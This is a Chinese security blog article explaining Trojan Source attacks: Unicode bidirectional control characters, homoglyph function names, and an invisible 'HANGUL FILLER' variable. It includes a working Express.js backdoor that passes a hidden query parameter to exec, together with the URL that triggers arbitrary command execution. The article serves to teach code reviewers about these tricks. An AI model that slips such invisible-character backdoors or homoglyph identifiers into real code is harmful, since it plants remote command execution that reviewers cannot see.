《关于倒霉的CV工程师又一次被不可见字符打败那回事》

admin 2025年2月20日19:20:38评论5 views字数 2998阅读9分59秒阅读模式

《关于倒霉的CV工程师又一次被不可见字符打败那回事》
Trojan Source — 隐形源代码漏洞
《关于倒霉的CV工程师又一次被不可见字符打败那回事》
Trojan Source漏洞将允许攻击者隐藏恶意代码,并将恶意代码转换为看似无害的代码,使其在编译器和⼈眼中看起来不同。这种攻击利⽤⽂本编码标准 (如 Unicode)中的微妙之处来⽣成源代码,其令牌的逻辑编码顺序与显⽰的顺序不同,从⽽导致代码审查⼈员⽆法直接感知的漏洞。攻击者可以攻击源代码文件的编码以注入漏洞,而不是插入逻辑错误。

Unicode 双向机制(Bidi)

该漏洞利用了 Unicode code point 来进行攻击,这些 code point 是用于切换内容处理顺序对,就是会让各种工具显示代码的顺序跟编译器和解释器的处理顺序不一样。这样一来,向审计人员展示的代码看起来非常合理,但语言解析工具执行的时候却是一段危险的代码。
攻击是使用嵌入在注释和字符串中的控制字符以改变其逻辑的方式重新排列源代码字符。
利用Bidi可以产生各种效果例如:
RLI a b c
读取编码时显示为c b a
LRI和RLI都相当于创建了一段 "独立区域",即若干个字符会被视为一组。PDI 就类似于换行的作用,会终止上一个独立区域。这些独立区域可以是嵌套的,例如:
RLILRI a b c PDILRI d e f PDIPDI
其编码时读取的是d e f a b c
《关于倒霉的CV工程师又一次被不可见字符打败那回事》
下表是重新排序攻击相关的UNICODE方向性格式化字符:
简称
代码
说明
备注
LRE
U+202A
从左到右嵌入
尝试将以下文本视为从左到右
RLE
U+202B
从右到左嵌入
尝试将以下文本视为从右到左
LRO
U+202D
从左到右覆盖
强制将以下文本视为从左到右。
RLO
U+202E
从右到左覆盖
强制将以下文本视为从右到左。
LRI
U+2066
从左到右隔离
强制将以下文本视为从左到右而不影响相邻文本
RLI
U+2067
从右到左隔离
强制将以下文本视为从右到左而不影响相邻文本
FSI
U+2068
第一强分离物
强制按下一个字符指示的方向处理以下文本
PDF
U+202C
流行方向格式
终止最近的LRE、RLE、LRO或RLO
PDI
U+2069
流行定向隔离
终止最近的LRI或RLI
利用这个原理我们可以将漏洞提交到代码中,而不会被代码审计人员发现。
这里用python举例,包括 C、C++、C#、JavaScript、Java、Rust和Go都存在此类问题:

Python

人眼看到的代码:
《关于倒霉的CV工程师又一次被不可见字符打败那回事》
实际代码格式内容:
《关于倒霉的CV工程师又一次被不可见字符打败那回事》
系统读取的代码:
《关于倒霉的CV工程师又一次被不可见字符打败那回事》
可以看出,这就给那些混淆实际 code point 序列提供了很多方法。
最终的结果是,编辑器或代码审查工具显示的是 "无害的" 版本,而编译器对注释处理过程中的那些格式控制字符并不会做任何处理。

同形字

类似于钓鱼攻击中用来迷惑用户的欺骗性 URL。使用了视觉上相似的 Unicode code point 来定义函数或变量名称。
例如定义两个函数,一个是拉丁文的 "H",另一个是西里尔文的 "Н"。在同一个代码库中如果同时使用这两个字符就很可能有攻击嫌疑了。一个用来进行恶意攻击的库就可能会定义两个使用这两个字符来看起来一模一样的函数,但是会执行不同的逻辑。然后攻击者可以提交一个看起来无害的改动,就改为去调用这个恶意函数了:
#!/usr/bin/env python3

def sayНello():
   print("Goodbye, World!")

def sayHello():
   print("hacker!")

sayНello()
sayHello()
上面的示例定义了两个不同的函数,其中的两个H是不同的,但几乎无法区分用肉眼区分。输出如下:
《关于倒霉的CV工程师又一次被不可见字符打败那回事》
利用这个方法可以在导入到目标全局名称空间的上游包中定义同形函数,然后从下游代码中调用该包。
在js中还有另一个用法:
const a = 'abc';
const b = 'abc';
if(aǃ=b){
   alert("yes");
}
else
{
   alert("no");
}
#输出yes
const a = 'abc';
const b = 'abc';
if(a!=b){
   alert("yes");
}
else
{
   alert("no");
}
#输出no
上面这段代码看似和下面的代码一样,但是使用的“ǃ”字符不是感叹号,而是“ ALVEOLAR CLICK ”字符。因此变量a不会与字符串进行比较,所以这里if 语句中的表达式始终是true
还有许多其他字符与代码中使用的字符相似,可用于此类混淆(例如“/”、“-”、“+”、“⩵”、“❨”、“⫽”、“꓿” , “*”)

后门

利用类似的方法,我们发现可以利用不可见的字符来做后门,我们创建后门的方法是首先找到一个不可见的 Unicode 字符,该字符可以被解析为变量。所有具有ID_Start属性的Unicode都可以在标识符中使用
这里使用字符“ㅤ”(十六进制的 0x3164)称为“HANGUL FILLER”,。由于这个字符被认为是一个字母,它具有ID_Start属性,因此可以当作变量来使用。
接下来,必须找到一种方法来使用这个不被注意的隐形字符。下面通过用转义序列表示替换相关字符来可视化选择的方法:

JS

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
  const { timeout,ㅤ} = req.query;
  const checkCommands = [
      'ping -c 1 google.com',
      'curl -s http://example.com/',ㅤ
  ];

  try {
      await Promise.all(checkCommands.map(cmd => 
              cmd && exec(cmd, { timeout: +timeout || 5_000 })));
      res.status(200);
      res.send('ok');
  } catch(e) {
      res.status(500);
      res.send('failed');
  }
});

app.listen(8080);
const { timeout,u3164} = req.query;
这里可以看到timeout不是query中唯一的参数,检索一个名为“ㅤ”的附加变量 参数,如果我们传递了一个名为“ㅤ”的 HTTP 参数,则将其分配给不可见变量u3164。
const checkCommands = [
      'ping -c 1 google.com',
      'curl -s http://example.com/',u3164
  ];
同时在构建数组的时候,这个变量“ㅤ”被包含到了数组中
然后将数组中的每个元素、硬编码命令以及用户提供的参数传递给exec函数。该函数执行操作系统命令。攻击者要执行任意操作系统命令,他们必须将名为“ㅤ”的参数(以 URL 编码形式)传递:
http://host:8080/network_health?%E3%85%A4=<any command>

参考:

https://certitude.consulting/blog/en/invisible-backdoor/

原文始发于微信公众号(山石网科安全技术研究院):《关于倒霉的CV工程师又一次被不可见字符打败那回事》

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月20日19:20:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   《关于倒霉的CV工程师又一次被不可见字符打败那回事》https://cn-sec.com/archives/897662.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息